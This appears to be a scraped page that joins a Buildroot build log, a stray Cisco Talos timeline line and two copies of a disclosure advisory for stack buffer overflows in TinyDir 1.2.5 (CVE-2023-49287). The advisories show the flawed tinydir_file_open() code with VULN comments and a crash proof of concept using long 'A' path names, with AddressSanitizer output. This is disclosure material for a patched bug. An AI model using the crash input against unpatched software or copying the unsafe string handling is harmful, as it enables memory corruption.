    glibc-2.38-27-g750a45a783906a19591fb8ff6b7841470f1f5701.tar.gz: OK (sha256: fd991e43997ff6e4994264c3cbc23fa87fa28b1b3c446eda8fc2d1d3834a2cfb)
    bison-3.8.2.tar.xz: OK (sha256: 9bba0214ccf7f1079c5d59210045227bcf619519840ebfa80cd3849cff5a5bf2)
    m4-1.4.19.tar.xz: OK (sha256: 63aede5c6d33b6d9b13511cd0be2cac046f2e70fd0a07aa9573a04a82783af96)
    gawk-5.2.2.tar.xz: OK (sha256: 3c1fce1446b4cbee1cd273bd7ec64bc87d89f61537471cd3e05e33a965a250e9)
    gcc-12.3.0.tar.xz: OK (sha512: 8fb799dfa2e5de5284edf8f821e3d40c2781e4c570f5adfdb1ca0671fcae3fb7f794ea783e80f01ec7bfbf912ca508e478bd749b2755c2c14e4055648146c204)
    binutils-2.40.tar.xz: OK (sha512: a37e042523bc46494d99d5637c3f3d8f9956d9477b748b3b1f6d7dfbb8d968ed52c932e88a4e946c6f77b8f48f1e1b360ca54c3d298f17193f3b4963472f6925)
    gmp-6.3.0.tar.xz: OK (sha256: a3c2b80201b89e68616f4ad30bc66aee4927c3ce50e33929ca819d5c43538898)
    mpc-1.2.1.tar.gz: OK (sha256: 17503d2c395dfcf106b622dc142683c1199431d095367c6aacba6eec30340459)
    mpfr-4.1.1.tar.xz: OK (sha256: ffd195bd567dbaffc3b98b23fd00aad0537680c9896171e44fe3ff79e28ac33d)
    >>> linux-headers 123 Downloading
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git init .
    hint: Using 'master' as the name for the initial branch. This default branch name
    hint: is subject to change. To configure the initial branch name to use in all
    hint: of your new repositories, which will suppress this warning, call:
    hint:
    hint:   git config --global init.defaultBranch <name>
    hint:
    hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
    hint: 'development'. The just-created branch can be renamed via this command:
    hint:
    hint:   git branch -m <name>
    Initialized empty Git repository in /opt/buildroot/dl/linux/git/.git/
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git remote add origin 'https://192.168.50.50'
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git remote set-url origin 'https://192.168.50.50'
    Fetching all references
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git fetch origin
    fatal: unable to access 'https://192.168.50.50/': Failed to connect to 192.168.50.50 port 443 after 0 ms: Connection refused
    Detected a corrupted git cache.
    Removing it and starting afresh.
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git init .
    hint: Using 'master' as the name for the initial branch. This default branch name
    hint: is subject to change. To configure the initial branch name to use in all
    hint: of your new repositories, which will suppress this warning, call:
    hint:
    hint:   git config --global init.defaultBranch <name>
    hint:
    hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
    hint: 'development'. The just-created branch can be renamed via this command:
    hint:
    hint:   git branch -m <name>
    Initialized empty Git repository in /opt/buildroot/dl/linux/git/.git/
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git remote add origin 'https://192.168.50.50'
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git remote set-url origin 'https://192.168.50.50'
    Fetching all references
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git fetch origin
    fatal: unable to access 'https://192.168.50.50/': Failed to connect to 192.168.50.50 port 443 after 0 ms: Connection refused
    Detected a corrupted git cache.
    This is the second time in a row; bailing out
    wget --passive-ftp -nd -t 3 -O '/tmp/builddir/build/.linux-123-br1.tar.gz.OBKF3J/output' 'http://sources.buildroot.net/linux/linux-123-br1.tar.gz'
    --2023-10-11 16:16:26--  http://sources.buildroot.net/linux/linux-123-br1.tar.gz
    Resolving sources.buildroot.net (sources.buildroot.net)... 104.26.0.37, 172.67.72.56, 104.26.1.37
    Connecting to sources.buildroot.net (sources.buildroot.net)|104.26.0.37|:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: unspecified [application/x-xz]
    Saving to: '/tmp/builddir/build/.linux-123-br1.tar.gz.OBKF3J/output'
    
    /tmp/builddir/build/.linux-123-br1.tar.gz.OB     [ <=>                                                                                        ]     160  --.-KB/s    in 0s
    
    2023-10-11 16:16:26 (24.1 MB/s) - '/tmp/builddir/build/.linux-123-br1.tar.gz.OBKF3J/output' saved [160]
    
    busybox-1.36.1.tar.bz2: OK (sha256: b8cc24c9574d809e7279c3be349795c5d5ceb6fdf19ca709f80cde50e47de314)
    kmod-31.tar.xz: OK (sha256: f5a6949043cc72c001b728d8c218609c5a15f3c33d75614b78c79418fcf00d80)
    pkgconf-1.6.3.tar.xz: OK (sha256: 61f0b31b0d5ea0e862b454a80c170f57bad47879c0c42bd8de89200ff62ea210)
    patchelf-0.13.tar.bz2: OK (sha256: 4c7ed4bcfc1a114d6286e4a0d3c1a90db147a4c3adda1814ee0eee0f9ee917ed)
    flex-2.6.4.tar.gz: OK (sha256: e87aae032bf07c26f85ac0ed3250998c37621d95f8bd748b31f15b33c45ee995)
    autoconf-2.71.tar.xz: OK (sha256: f14c83cfebcc9427f2c3cea7258bd90df972d92eb26752da4ddad81c87a0faa4)
    libtool-2.4.6.tar.xz: OK (sha256: 7c87a8c2c8c0fc9cd5019e402bed4292462d00a718a7cd5f11218153bf28b26f)
    automake-1.16.5.tar.xz: OK (sha256: f01d58cd6d9d77fbdca9eb4bbd5ead1988228fdb73d6f7a201f5f8d6b118b469)
    gettext-tiny-0.3.2.tar.gz: OK (sha256: 29cc165e27e83d2bb3760118c2368eadab550830d962d758e51bd36eb860f383)
    gettext-0.22.2.tar.xz: OK (sha256: 4c82fbfe5e53d71a97c634aa98a898b9da807b08b27410f6a4641e8bb44dc4b2)
    

**TIMELINE**

2023-10-25 - Vendor Disclosure  
2023-12-04 - Vendor Patch Release  
2023-12-05 - Public Release

Discovered by Claudio Bozzato and Francesco Benvenuto of Cisco Talos.

CVE-2023-43608: TALOS-2023-1845 || Cisco Talos Intelligence Group

TinyDir versions 1.2.5 and below suffer from a buffer overflow vulnerability with long path names.

--[ HNS-2023-04 - HN Security Advisory - https://security.humanativaspa.it/

* Title: Buffer overflow vulnerabilities with long path names in TinyDir  
* Product: TinyDir <= 1.2.5  
* Author: Marco Ivaldi <marco.ivaldi@hnsecurity.it>  
* Date: 2023-12-04  
* CVE ID: CVE-2023-49287  
* Severity: High - 7.7 - CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H  
* Vendor URL: https://github.com/cxong/tinydir  
* Advisory URL: https://github.com/cxong/tinydir/security/advisories/GHSA-jf5r-wgf4-qhxf

--[ 0 - Table of contents

1 - Summary  
2 - Background  
3 - Vulnerabilities  
4 - Proof of concept  
5 - Affected products  
6 - Remediation  
7 - Disclosure timeline  
8 - Acknowledgements  
9 - References

--[ 1 - Summary

"This is the OG we all want to be, congrats on 20yrs of (public) vulns!"  
                                                         -- Erik Cabetas

TinyDir is a lightweight, portable and easy to integrate C directory and  
file reader. It wraps dirent for POSIX and FindFirstFile for Windows.

We reviewed TinyDir's source code hosted on GitHub [1] and identified some  
security vulnerabilities that may cause memory corruption. Their impacts  
range from denial of service to potential arbitrary code execution.

--[ 2 - Background

While auditing another codebase, we noticed that it included TinyDir.  
Since this small but successful project is used in hundreds of repositories  
[2], we decided to review it in search of security bugs.

--[ 3 - Vulnerabilities

We spotted some buffer overflow vulnerabilities with long path names in the  
tinydir_file_open() function, at the marked locations in the following  
source code listing:

```c  
/* Open a single file given its path */  
_TINYDIR_FUNC  
int tinydir_file_open(tinydir_file *file, const _tinydir_char_t *path)  
{  
  tinydir_dir dir;  
  int result = 0;  
  int found = 0;  
  _tinydir_char_t dir_name_buf[_TINYDIR_PATH_MAX];  
  _tinydir_char_t file_name_buf[_TINYDIR_FILENAME_MAX];  
  _tinydir_char_t *dir_name;  
  _tinydir_char_t *base_name;  
#if (defined _MSC_VER || defined __MINGW32__)  
  _tinydir_char_t drive_buf[_TINYDIR_PATH_MAX];  
  _tinydir_char_t ext_buf[_TINYDIR_FILENAME_MAX];  
#endif

  if (file == NULL || path == NULL || _tinydir_strlen(path) == 0)  
  {  
    errno = EINVAL;  
    return -1;  
  }  
  if (_tinydir_strlen(path) + _TINYDIR_PATH_EXTRA >= _TINYDIR_PATH_MAX)  
  {  
    errno = ENAMETOOLONG;  
    return -1;  
  }

  /* Get the parent path */  
#if (defined _MSC_VER || defined __MINGW32__)  
#if ((defined _MSC_VER) && (_MSC_VER >= 1400))  
  errno = _tsplitpath_s(  
    path,  
    drive_buf, _TINYDIR_DRIVE_MAX,  
    dir_name_buf, _TINYDIR_FILENAME_MAX,  
    file_name_buf, _TINYDIR_FILENAME_MAX,  
    ext_buf, _TINYDIR_FILENAME_MAX);  
#else  
  _tsplitpath(  
    path,  
    drive_buf,  
    dir_name_buf,  
    file_name_buf,  
    ext_buf); /* VULN: potential buffer overflow due to insecure splitpath() API  
                             (https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/splitpath-wsplitpath?view=msvc-170) */  
#endif

  if (errno)  
  {  
    return -1;  
  }

/* _splitpath_s not work fine with only filename and widechar support */  
#ifdef _UNICODE  
  if (drive_buf[0] == L'\xFEFE')  
    drive_buf[0] = '\0';  
  if (dir_name_buf[0] == L'\xFEFE')  
    dir_name_buf[0] = '\0';  
#endif

  /* Emulate the behavior of dirname by returning "." for dir name if it's  
  empty */  
  if (drive_buf[0] == '\0' && dir_name_buf[0] == '\0')  
  {  
    _tinydir_strcpy(dir_name_buf, TINYDIR_STRING("."));  
  }  
  /* Concatenate the drive letter and dir name to form full dir name */  
  _tinydir_strcat(drive_buf, dir_name_buf);  
  dir_name = drive_buf;  
  /* Concatenate the file name and extension to form base name */  
  _tinydir_strcat(file_name_buf, ext_buf); /* VULN: since sizeof(file_name_buf) + sizeof(ext_buf) is larger than  
                                                    sizeof(file_name_buf), we have a potential stack buffer overflow */  
  base_name = file_name_buf;  
#else  
  _tinydir_strcpy(dir_name_buf, path);  
  dir_name = dirname(dir_name_buf);  
  _tinydir_strcpy(file_name_buf, path); /* VULN: since sizeof(file_name_buf) is smaller than the maximum path length,   
                                                 we have a potential stack buffer overflow */  
  base_name = basename(file_name_buf);  
#endif

  /* Special case: if the path is a root dir, open the parent dir as the file */  
#if (defined _MSC_VER || defined __MINGW32__)  
  if (_tinydir_strlen(base_name) == 0)  
#else  
  if ((_tinydir_strcmp(base_name, TINYDIR_STRING("/"))) == 0)  
#endif  
  {  
    memset(file, 0, sizeof * file);  
    file->is_dir = 1;  
    file->is_reg = 0;  
    _tinydir_strcpy(file->path, dir_name);  
    file->extension = file->path + _tinydir_strlen(file->path);  
    return 0;  
  }

  /* Open the parent directory */  
  if (tinydir_open(&dir, dir_name) == -1)  
  {  
    return -1;  
  }

  /* Read through the parent directory and look for the file */  
  while (dir.has_next)  
  {  
    if (tinydir_readfile(&dir, file) == -1)  
    {  
      result = -1;  
      goto bail;  
    }  
    if (_tinydir_strcmp(file->name, base_name) == 0)  
    {  
      /* File found */  
      found = 1;  
      break;  
    }  
    tinydir_next(&dir);  
  }  
  if (!found)  
  {  
    result = -1;  
    errno = ENOENT;  
  }

bail:  
  tinydir_close(&dir);  
  return result;  
}  
```

--[ 4 - Proof of concept

Step-by-step instructions to replicate the third vulnerability on Linux:

```  
$ git clone https://github.com/cxong/tinydir  
$ cd tinydir/samples/  
$ gcc -g -fsanitize=address -I.. file_open_sample.c -o file_open_sample  
$ mkdir -p AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/  
$ ./file_open_sample AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
Path: ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
Extension:   
Is dir? yes  
Is regular file? no  
$ ./file_open_sample AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/  
=================================================================  
==2533==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd1ecabeb0 at pc 0x7f37b22544bf bp 0x7ffd1ecaac10 sp 0x7ffd1ecaa3b8  
WRITE of size 513 at 0x7ffd1ecabeb0 thread T0  
    #0 0x7f37b22544be in __interceptor_strcpy ../../../../src/libsanitizer/asan/asan_interceptors.cpp:440  
    #1 0x5625cf301b69 in tinydir_file_open ../tinydir.h:711  
    #2 0x5625cf3021f4 in main /home/raptor/tinydir/samples/file_open_sample.c:12  
    #3 0x7f37b1e29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58  
    #4 0x7f37b1e29e3f in __libc_start_main_impl ../csu/libc-start.c:392  
    #5 0x5625cf3004e4 in _start (/home/raptor/tinydir/samples/file_open_sample+0x24e4)

Address 0x7ffd1ecabeb0 is located in stack of thread T0 at offset 4704 in frame  
    #0 0x5625cf3018c3 in tinydir_file_open ../tinydir.h:641

  This frame has 3 object(s):  
    [48, 4184) 'dir' (line 642)  
    [4448, 4704) 'file_name_buf' (line 646)  
    [4768, 8864) 'dir_name_buf' (line 645) <== Memory access at offset 4704 partially underflows this variable  
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork  
      (longjmp and C++ exceptions *are* supported)  
SUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/asan/asan_interceptors.cpp:440 in __interceptor_strcpy  
Shadow bytes around the buggy address:  
  0x100023d8d780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
  0x100023d8d790: 00 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2  
  0x100023d8d7a0: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2  
  0x100023d8d7b0: f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00  
  0x100023d8d7c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
=>0x100023d8d7d0: 00 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 00 00  
  0x100023d8d7e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
  0x100023d8d7f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
  0x100023d8d800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
  0x100023d8d810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
  0x100023d8d820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
Shadow byte legend (one shadow byte represents 8 application bytes):  
  Addressable:           00  
  Partially addressable: 01 02 03 04 05 06 07   
  Heap left redzone:       fa  
  Freed heap region:       fd  
  Stack left redzone:      f1  
  Stack mid redzone:       f2  
  Stack right redzone:     f3  
  Stack after return:      f5  
  Stack use after scope:   f8  
  Global redzone:          f9  
  Global init order:       f6  
  Poisoned by user:        f7  
  Container overflow:      fc  
  Array cookie:            ac  
  Intra object redzone:    bb  
  ASan internal:           fe  
  Left alloca redzone:     ca  
  Right alloca redzone:    cb  
  Shadow gap:              cc  
==2533==ABORTING  
```

--[ 5 - Affected products

TinyDir 1.2.5 and earlier versions are affected by the vulnerabilities  
discussed in this advisory.

--[ 6 - Remediation

TinyDir developers have released version 1.2.6 [3] that addresses the  
vulnerabilities discussed in this advisory.

Please check the official TinyDir channels for further information about  
fixes.

--[ 7 - Disclosure timeline

2023-11-30: Vulnerabilities reported via GitHub security advisories [4].  
2023-12-01: Proof of concept provided at the request of TinyDir developers.  
2023-12-02: Vulnerabilities fixed in TinyDir's master branch on GitHub.  
2023-12-03: TinyDir 1.2.6 released and GitHub advisory published.  
2023-12-04: GitHub issued CVE-2023-49287 and we published this advisory.

--[ 8 - Acknowledgements

We would like to thank TinyDir developers for triaging and quickly fixing  
the reported vulnerabilities.

--[ 9 - References

[1] https://github.com/cxong/tinydir  
[2] https://github.com/search?q=tinydir.h&type=code  
[3] https://github.com/cxong/tinydir/releases/tag/1.2.6  
[4] https://github.com/cxong/tinydir/security

Copyright (c) 2023 Marco Ivaldi and Humanativa Group. All rights reserved.

TinyDir 1.2.5 Buffer Overflow

TinyDir is a lightweight C directory and file reader. Buffer overflows in the `tinydir_file_open()` function. This vulnerability has been patched in version 1.2.6.

**Affected versions**

<= 1.2.5 (latest)

**Summary**

I spotted some buffer overflow vulnerabilities at the following locations in the tinydir source code:  
https://github.com/cxong/tinydir/blob/master/tinydir.h#L675-L680  
https://github.com/cxong/tinydir/blob/master/tinydir.h#L706  
https://github.com/cxong/tinydir/blob/master/tinydir.h#L711

**Details**

Buffer overflows in the tinydir_file_open() function, see marked lines below:

/\* Open a single file given its path \*/
\_TINYDIR\_FUNC
int tinydir\_file\_open(tinydir\_file \*file, const \_tinydir\_char\_t \*path)
{
	tinydir\_dir dir;
	int result \= 0;
	int found \= 0;
	\_tinydir\_char\_t dir\_name\_buf\[\_TINYDIR\_PATH\_MAX\];
	\_tinydir\_char\_t file\_name\_buf\[\_TINYDIR\_FILENAME\_MAX\];
	\_tinydir\_char\_t \*dir\_name;
	\_tinydir\_char\_t \*base\_name;
#if (defined \_MSC\_VER || defined \_\_MINGW32\_\_)
	\_tinydir\_char\_t drive\_buf\[\_TINYDIR\_PATH\_MAX\];
	\_tinydir\_char\_t ext\_buf\[\_TINYDIR\_FILENAME\_MAX\];
#endif

	if (file \== NULL || path \== NULL || \_tinydir\_strlen(path) \== 0)
	{
		errno \= EINVAL;
		return \-1;
	}
	if (\_tinydir\_strlen(path) + \_TINYDIR\_PATH\_EXTRA >= \_TINYDIR\_PATH\_MAX)
	{
		errno \= ENAMETOOLONG;
		return \-1;
	}

	/\* Get the parent path \*/
#if (defined \_MSC\_VER || defined \_\_MINGW32\_\_)
#if ((defined \_MSC\_VER) && (\_MSC\_VER >= 1400))
	errno \= \_tsplitpath\_s(
		path,
		drive\_buf, \_TINYDIR\_DRIVE\_MAX,
		dir\_name\_buf, \_TINYDIR\_FILENAME\_MAX,
		file\_name\_buf, \_TINYDIR\_FILENAME\_MAX,
		ext\_buf, \_TINYDIR\_FILENAME\_MAX);
#else
	\_tsplitpath(
		path,
		drive\_buf,
		dir\_name\_buf,
		file\_name\_buf,
		ext\_buf); // VULN: potential buffer overflow due to insecure splitpath api (https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/splitpath-wsplitpath?view=msvc-170)
#endif

	if (errno)
	{
		return \-1;
	}

/\* \_splitpath\_s not work fine with only filename and widechar support \*/
#ifdef \_UNICODE
	if (drive\_buf\[0\] \== L'\\xFEFE')
		drive\_buf\[0\] \= '\\0';
	if (dir\_name\_buf\[0\] \== L'\\xFEFE')
		dir\_name\_buf\[0\] \= '\\0';
#endif

	/\* Emulate the behavior of dirname by returning "." for dir name if it's
	empty \*/
	if (drive\_buf\[0\] \== '\\0' && dir\_name\_buf\[0\] \== '\\0')
	{
		\_tinydir\_strcpy(dir\_name\_buf, TINYDIR\_STRING("."));
	}
	/\* Concatenate the drive letter and dir name to form full dir name \*/
	\_tinydir\_strcat(drive\_buf, dir\_name\_buf);
	dir\_name \= drive\_buf;
	/\* Concatenate the file name and extension to form base name \*/
	\_tinydir\_strcat(file\_name\_buf, ext\_buf); // VULN: since sizeof(file\_name\_buf) + sizeof(ext\_buf) is larger than sizeof(file\_name\_buf), we have a potential stack buffer overflow
	base\_name \= file\_name\_buf;
#else
	\_tinydir\_strcpy(dir\_name\_buf, path);
	dir\_name \= dirname(dir\_name\_buf);
	\_tinydir\_strcpy(file\_name\_buf, path); // VULN: since sizeof(file\_name\_buf) is smaller than the maximum path length, we have a potential stack buffer overflow
	base\_name \= basename(file\_name\_buf);
#endif

	/\* Special case: if the path is a root dir, open the parent dir as the file \*/
#if (defined \_MSC\_VER || defined \_\_MINGW32\_\_)
	if (\_tinydir\_strlen(base\_name) \== 0)
#else
	if ((\_tinydir\_strcmp(base\_name, TINYDIR\_STRING("/"))) \== 0)
#endif
	{
		memset(file, 0, sizeof \* file);
		file\->is\_dir \= 1;
		file\->is\_reg \= 0;
		\_tinydir\_strcpy(file\->path, dir\_name);
		file\->extension \= file\->path + \_tinydir\_strlen(file\->path);
		return 0;
	}

	/\* Open the parent directory \*/
	if (tinydir\_open(&dir, dir\_name) \== \-1)
	{
		return \-1;
	}

	/\* Read through the parent directory and look for the file \*/
	while (dir.has\_next)
	{
		if (tinydir\_readfile(&dir, file) \== \-1)
		{
			result \= \-1;
			goto bail;
		}
		if (\_tinydir\_strcmp(file\->name, base\_name) \== 0)
		{
			/\* File found \*/
			found \= 1;
			break;
		}
		tinydir\_next(&dir);
	}
	if (!found)
	{
		result \= \-1;
		errno \= ENOENT;
	}

bail:
	tinydir\_close(&dir);
	return result;
}

**PoC**

Step-by-step instructions to replicate the third vulnerability that's present at this location:  
https://github.com/cxong/tinydir/blob/master/tinydir.h#L711

    $ git clone https://github.com/cxong/tinydir
    $ cd tinydir/samples/
    $ gcc -g -fsanitize=address -I.. file_open_sample.c -o file_open_sample
    $ mkdir -p AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/
    $ ./file_open_sample AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Path: ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Extension: 
    Is dir? yes
    Is regular file? no
    $ ./file_open_sample AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/
    =================================================================
    ==2533==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd1ecabeb0 at pc 0x7f37b22544bf bp 0x7ffd1ecaac10 sp 0x7ffd1ecaa3b8
    WRITE of size 513 at 0x7ffd1ecabeb0 thread T0
        #0 0x7f37b22544be in __interceptor_strcpy ../../../../src/libsanitizer/asan/asan_interceptors.cpp:440
        #1 0x5625cf301b69 in tinydir_file_open ../tinydir.h:711
        #2 0x5625cf3021f4 in main /home/raptor/tinydir/samples/file_open_sample.c:12
        #3 0x7f37b1e29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
        #4 0x7f37b1e29e3f in __libc_start_main_impl ../csu/libc-start.c:392
        #5 0x5625cf3004e4 in _start (/home/raptor/tinydir/samples/file_open_sample+0x24e4)
    
    Address 0x7ffd1ecabeb0 is located in stack of thread T0 at offset 4704 in frame
        #0 0x5625cf3018c3 in tinydir_file_open ../tinydir.h:641
    
      This frame has 3 object(s):
        [48, 4184) 'dir' (line 642)
        [4448, 4704) 'file_name_buf' (line 646)
        [4768, 8864) 'dir_name_buf' (line 645) <== Memory access at offset 4704 partially underflows this variable
    HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
          (longjmp and C++ exceptions *are* supported)
    SUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/asan/asan_interceptors.cpp:440 in __interceptor_strcpy
    Shadow bytes around the buggy address:
      0x100023d8d780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x100023d8d790: 00 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
      0x100023d8d7a0: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
      0x100023d8d7b0: f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00
      0x100023d8d7c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
